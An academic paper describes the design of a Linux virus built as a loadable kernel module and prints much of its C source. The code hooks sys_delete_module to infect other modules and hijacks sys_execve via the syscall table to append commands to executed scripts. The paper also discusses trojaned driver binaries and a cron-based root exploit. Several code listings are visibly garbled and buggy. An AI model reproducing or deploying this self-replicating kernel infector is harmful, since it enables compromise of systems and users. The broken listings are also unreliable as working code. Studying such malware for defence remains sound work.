WRITING A LINUX VIRUS WITH LKM

Nada A.Z. Abdullah
Department of Computer Science, College of Science, University of Baghdad. Baghdad – Iraq.

Abstract

Virus is a program which is able to replicate with little or no user intervention, and the replicated program(s) are able to replicate further. Writing a good virus is challenging, the best viruses are written in C language, and building as executable file from C source code to plant virus code into another executable. The result either prohibitively large, or very dependent on the completeness of the target installation. Real viruses approach the problem from the other end. They are aggressively optimized for code size and do only what's absolutely necessary. However, this has some limitations and the solution to these limitations is complicated and makes the virus more likely to fail. This paper presents a design and implementation of a virus running on Linux operating system as Loadable kernel module (LKM) to overcome the limitations of developing the virus as C program. This virus can infect Linux modules in addition to executable files.

لينكس فايروس كنموذج نواة قابل للتحميل

ندا عبدالزهرة عبدالله
قسم علوم الحاسبات، كلية العلوم، جامعة بغداد. بغداد – العراق.

الخلاصة

الفايروس هو برنامج يمكن أن يصيب بقية البرامج بنقل نسخة منه الى البرنامج المصاب والبرنامج المصاب يمكن أن يصيب برامج أخرى. كتابة الفايروس هو تحدي وأفضل الفايروسات تكتب بلغة C ثم يحول الى برنامج تنفيذي له قابلية زراعة الفايروس في البرامج الأخرى . كتابة الفايروس بهذه الطريقة تصاحبه بعض المشاكل مثل كبر حجم البرنامج واعتماده على على نوع الأجهزة التي طور عليها مما حدى بالمبرمجين للفايروس لجعل البرنامج أصغر مايمكن . هناك محددات عديدة لحل هذه المشاكل تجعل عملية كتابة الفايروس صعبة نسبيا. في هذا البحث تم تطوير فايروس في نظام لينكس كنموذج نواة قابل للتحميل لتخطي هذه المشاكل. الفايروس المطور في هذا البحث يصيب البرامج التنفيذية بالاضافة الى نماذج النواة التي يتم تحميلها.

Introduction

The term ”computer virus” was first applied to self-reproducing computer programs by Len Adelman back in 1983. One year later, Fred Cohen” scientifically defined the term computer virus” [1]:

”We define a computer ’virus’ as a program that can ’infect’ other programs by modifying them to include a possibly evolved copy of itself. With the infection property, a virus can spread throughout a computer system or network using the authorizations of every user using it to infect their programs. Every program that gets infected may also act as a virus and thus the infection grows”.

So, in short a virus is a program, which is able to replicate with little or no user intervention, and the replicated program(s) are able to replicate further. Like its biological counterpart it needs a host.

In generally, a computer virus consists of three parts [2]:

• The infection mechanism, the trigger, and the payload.

A computer virus must at least have the infection mechanism part.
The infection mechanism searches for one or more suitable victims and checks to avoid multiple infections if the host is already infected or not (not every virus does this; some viruses infect a host multiple times due to bugs). After that, the virus body is copied into the victim. The easiest method to do so is overwriting the code of the victim. Other methods are putting the code in front of or at the end of a file.
A trigger part is used for starting the possible payload (i.e. on a particular event, the payload is executed). Such an event could be a special day(Friday, 13th) or when the infection counter has reached a pre-defined value.
payload part causes transient or permanent damage, e.g. displaying animation on the screen (e.g. a Red Cross car moves along the screen); or formatting the hard disk drive or manipulation of data. Of course, damage may even happen unintentionally, e.g. due to a programming error or if an old DOS virus causes trouble within the Windows environment. Damage may be caused by over-reaction by the user, too.

Virus writing limitations

According to the above definition, we need to find a way to put our virus onto other system programs to do something. The easiest and most popular method would be to include the virus as part of some other program that does something or claims to do something entirely unrelated to infecting your computer. Viruses that behave in this way are called Trojans and they spread by deceiving people into thinking that they are legitimate programs [3].
If the virus is written as a C program, building executables from C source code is a complex task. An innocent looking call of gcc(1) will invoke a pre-processor, a multi-pass compiler, an assembler and finally a linker. Using all these tools to plant virus code into another executable makes the result either prohibitively large, or very dependent on the completeness of the target installation.
Real viruses approach the problem from the other end. They are aggressively optimized for code size and do only what's absolutely necessary. Basically they just copy one chunk of code and patch a few addresses at hard coded offsets [4].
However, this has drastic effects:

- Since binary code is directly copied, the virus is restricted to particular hardware architecture.
- Code must be position independent.
- Code cannot use shared libraries; not even the C runtime library.
- Global variables in the data segment cannot be allocated.

In this paper a Linux 'virus' is written as Loadable kernel module (LKM) to overcome these limitations.

What are LKMs

Loadable Kernel Modules (LKM) are used by the Linux kernel to expand his functionality. The advantage of those LKMs: They can be loaded dynamically; there must be no recompilation of the whole kernel. Because of those features they are often used for specific device drivers (or filesystems) such as soundcards etc.
Every LKM consist of two basic functions (minimum):
int init_module(void) /*used for all initialition stuff*/
{ ... }
Void cleanup_module(void) /*used for a clean shutdown*/
{ ... }
Loading a module - normally retricted to root - is managed by issuing the follwing command:
insmod module.
This command forces the System to do the following things:
Load the objectfile (here module.o) call create_module systemcall for Relocation of memory unresolved references are resolved by Kernel-Symbols with the systemcall get_kernel_syms after this the init_module systemcall is used for the LKM initialisation -> executing int init_module(void) etc.
The functions Linux uses are called systemcalls. They represent a transition from user to kernel space. Opening a file in user space is represented by the sys_open systemcall in kernel space [5].

LKM virus implementation

First a LKM infector developed to infect modules, which are loaded / unloaded. This loading / unloading is often managed by kerneld. So imagine a module infected with the virus code; when loading this module you also load the virus LKM which uses hiding features. This virus module intercepts the sys_create_module and sys_delete_module

systemcalls for further infection. Whenever a module is unloaded on that system it is infected by the new sys_delete_module systemcall. So every module requested by kerneld (or manually) will be infected when unloaded.
The following are first infection steps:

- admin is searching a system driver for his new interface card
- he starts searching
- he finds a driver module which should work on his system & downloads it
- he installs the module on his system [the module is infected]

--> the infector is installed, the system is compromised
Of course, he did not download the source, he was lazy and took the risks using a binary file. So admins never trust any binary files (esp. modules).
The virus LKM (a simple module, which intercepts sys_create_module / sys_delete_module and some other stuff) infects an existing module (the host module) by concating two modules using 'cat':
cat module1.o >>module2.o
To insmod the resulting module2.o (which also includes module1.o at its end).
insmod module2.o
When we check which modules are loaded on our system
lsmod
Module Pages Used by
module2 1 0
So that by concatenating two modules the first one (concerning object code) will be loaded, the second one will be ignored. And there will be no error saying that insmod can not load corrupted code or so. It should be clear that a host module could be infected by
cat host_module.o >>virus_module.o
ren virus_module.o host_module.o
This way loading host_module.o will load the virus with all its nice LKM features. But there is one problem, how to load the actual host_module. The solution is to use kerneld to load a module. This will force kerneld to load the specified module.The original host module is packed in host_module.o (together with virus_module.o),so after compiling virus_module.c to its object code we have to look at its size (how many bytes). After this the original host_module.o will begin in the packed one. After these steps virus_module extracts the original host_module.o from the packed one. This extracted module is saved, and it can be loaded via request_module ("orig_host_module.o"). After loading the original host_module.o the virus_module (which is also loaded from the insmod [issued by user, or kerneld]) can start infecting any loaded modules.

The sys_delete_module(...) system call is used for doing the infection:

```
int new_delete_module(char *modname)
{ /*number of infected modules*/
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;
 /*call the original sys_delete_module*/
retval = old_delete_module(modname);
 if ((name = (char*)vmalloc(MAXPATH + 60 +
2)) == NULL) return retval;
for (i = 0; files2infect[i][0] && i < 7; i++)
{ strcat(filesinfect[i], ".o");
if ((s = get_mod_name(filesinfect[i])) ==
NULL)
{ return retval; }
name = strcpy(name, s);
if (!is_infected(name))
{
DPRINTK("try infect %s as #%d\n", name, i);
 /*increase infection counter*/
infected++;
/*the infect function*/
infectfile(name);
}
 memset(filestoinfect[i], 0, 60 + 2); }
/*how many modules were infected, if enough
then stop and quit*/
if (infected = ENOUGH) cleanup_module();
vfree(name);
 return retval; }
```

There is only one function interesting in this systemcall:

```
infectfile(...).
int infectfile(char *filename)
{ char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
  BEGIN_KMEM
/*open objectfile of the module which was
unloaded*/
 in = open(filename, O_RDONLY, 0640);
 /*create a temp. file*/
out = open(tmp,
O_RDWR|O_TRUNC|O_CREAT, 0640);
 END_KMEM
```

```
DPRINTK("in infectfile: in = %d out = %d\n",
in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current-files-fd[in];
file2 = current-files-fd[out];
if (!file1 || !file2) return -1;
/*copy module objectcode (host) to file2*/
cp(file1, file2);
BEGIN_KMEM
file1-f_pos = 0;
file2-f_pos = 0; /* write Vircode [from mem] */
DPRINTK("in infetcfile: filenanme = %s\n",
filename);
file1-f_op-write(file1-f_inode, file1, VirCode,
MODLEN);
cp(file2, file1);
 close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
```

The infected module first start the virus, and load the original module, the function called load_real_mod(char *path_name, char* name) manages that :

```
 int load_real_mod(char *path_name, char
*name)
{ int r = 0, i = 0;
struct file *file1, *file2; int in = 0, out = 0;
DPRINTK("in load_real_mod name = %s\n",
path_name);
if (VirCode) vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode) return -1;
BEGIN_KMEM
 in = open(path_name, O_RDONLY, 0640);
END_KMEM if (in <= 0) return -1;
file1 = current-files-fd[in]; if (!file1)
return -1;
BEGIN_KMEM
file1-f_op-read(file1-f_inode, file1, VirCode,
MODLEN);
close(in);
END_KMEM
 disinfect(path_name);
 r = request_module(name);
DPRINTK("in load_real_mod: request_module
= %d\n", r);
return 0; }
```

To load the original module, we requesting it with request_module(...).

LKM viruses to infect any file (not just modules) implementation

The proposed LKM can infect can be modified to infect any executable file in addition to modules. The executables are usually located in /bin/, /usr/bin/ and /usr/local/bin. However, only the root user has write access to these directories; that means for a virus to infect any important files it must first become root. Usually this can be done unless one knows the root password.

A clever way of gaining root access was to dump a process's contents into the /etc/cron.d/ directory. If the process had a string in memory that contained a cron entry and a bash script, it would be run with root access [6].

Try is made to include this root exploit in LKM virus code but because of the nature of the prctl() system call, the memory contents were so unpredictable it was impossible to create a dump file

that would reliably make a cron entry. This exploit could only be used by the simplest program and not in an automated fashion which is what a virus requires.

Another method is used, it is possible to catch the execute of every file using an intercepted sys_execve(...) systemcall. A systemcall is developed which appends some data to the program that is going to be executed. The next time this program is started, it first starts our added part and then the original program (just a basic virus scheme).LKM virus can infect executables, in a way that they check for UID=0 and then load again infection module.

First of all we have to check for the file type which is going to be execute by sys_execve(...). There are several ways to do it; the fastest way is used by reading some bytes from the file and checking them against the ELF string. After this write (...) / read (...) / ... calls to modify the file.

The following is the important routines to be added to the LKM to infect any executed file:

```
int hacked_execve(const char *filename, const
char *argv[], const char *envp[])
{ char *test, j; int ret; int host = 0;
 /*just a buffer for reading up to 20 files (needed
for identification of execute file*/
test = (char *) kmalloc(21, GFP_KERNEL);
/*open the host script, which is going to be
executed*/
host=open(filename, O_RDWR|O_APPEND,
0640);
BEGIN_KMEM
```

```
/*read the first 20 bytes*/
read(host, test, 20);
if (strstr(test, "#!/bin/sh")!=NULL)
{
printk("<1INFECT !\n");

/* attach a peaceful command*/
write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
}
END_KMEM /*modification is done, so close our host*/
close(host);
 /*free allocated memory*/
kfree(test);
ret = my_execve(filename, argv, envp);
return ret;
}
int init_module(void) /*module setup*/
{ __NR_myexecve = 250;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
 __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{ printk("<1everything OK\n");
 sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; }
/*we need some functions*/
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];
 write = sys_call_table[__NR_write];
read = sys_call_table[__NR_read];
return 0; }
void cleanup_module(void) /*module shutdown*/
{ sys_call_table[SYS_execve]=orig_execve; }
```

This module does not need kerneld for spreading (interesting for kernel without kerneld support). This infects any executable; this is a very strong method of killing large systems.

Conclusion

In this paper, Linux virus is developed as LKM. This virus infects executable files in addition to other LKMs. While developing LKM virus, a number of concluded remarks are drawn:

1. Writing virus as LKM overcome many limitations of writing virus as C program in Linux System.

2. Number of people think that viruses require secret black magic. It is not hard to write a virus - once you have a good understanding of assembler, compiler, linker and operating system. It's just hard to let it make any impact.

3. Regular users can't overwrite system files (at least under serious operating systems). So root permissions are needed. User can either trick the super user to run your virus. Or combine it with a root-exploit. But since all popular distributions come with checksum mechanisms, a single command can detect any modification.

4. Free software is superior, at least in regard to security. And Linux viruses will flourish once it reaches a critical mass of popularity

5. Viruses is rigid dependency on the file format of target executables. These formats differ a lot. Even on the same hardware architecture and under the same operating system. Furthermore executable are not designed with post link-time modifications in mind. It's rare for a virus to support more than one infection method.

6. In general, computer viruses platform-dependent, i.e. a virus written for MS-DOS will not run under Linux/Unix and some fewexamples of computer viruses written for Windows and Linux, like Lindose aka Winux [2].

7. To say that Linux is completely free from viruses and malware is not entirely true. It is, however, much more resistant to it than Windows is. Root accounts, prompt patching of security holes, and a heterogeneous mixture of software make Linux a much more difficult target when developing malware.

8. Education is still the best way to prevent viruses. Never install software from sources you do not trust. Ubuntu and other distributions already verify that every package that is installed is signed by the correct provider. The best defense against viruses and other attacks is what it has always bee, keep your software up to date.

References

1. Eugene Kaspersky and Andy Nikishin. **2001**. Back to the future – again Proceedins of Virus Bulletin Conference. Hilton Prague. pp.2-3.
2. Rainer Link**. 2003**. Server-based Virus-protection On Unix/Linux .Diploma Thesis. , University of Applied Sciences Furtwangen, Faculty of Computer Science Germany - Computer Networking.pp.3-7.
3. David Stone, **2006**. Spyware/ Viruses in Linux.
4. Bartolich, Alexander. **2003**. The ELF Virus Writing HOWTO. Linux Security, http://www.linuxsecurity.com/resource files/documentation/virus-writing-HOWTO. pp.10-12.
5. Pragmatic / THC**. 1999**. Complete Linux Loadable Kernel Modules. Version 1.0 released 03.pp.32-36.
6. Bartolich, Alexander. **1999**. The complete Linux LKM, version 1.0, http://www.ibiblio.org/pub/Linux/docs. pp.50-52.